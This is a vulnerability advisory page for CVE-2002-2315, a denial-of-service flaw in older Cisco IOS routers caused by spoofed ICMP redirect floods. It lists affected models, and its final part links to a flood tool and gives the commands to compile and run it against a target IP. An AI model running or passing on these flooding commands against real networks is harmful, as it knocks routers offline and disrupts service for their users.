CVE-2002-2315 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/4786/info IOS is the Internet Operating System, used on Cisco routers. It is distributed and maintained by Cisco. It has been reported that it is possible to cause a denial of service in some Cisco routers by sending a large amount of spoofed ICMP redirect messages. This vulnerability has been assigned Cisco bug ID CSCdx32056. The following products are known to be affected: Cisco 1005 running IOS 11.0(18) Cisco 1603 running IOS 11.3(11b) Cisco 1603 running IOS 12.0(3) Cisco 2503 running IOS 11.0(22a) Cisco 2503 running IOS 11.1(24a) To generate random ICMP redirect messages, a sender tool is available at http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be linked with the IRPAS packet library. linuxbox# cd /where/irpas/is linuxbox# make libpackets.a linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway> On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate.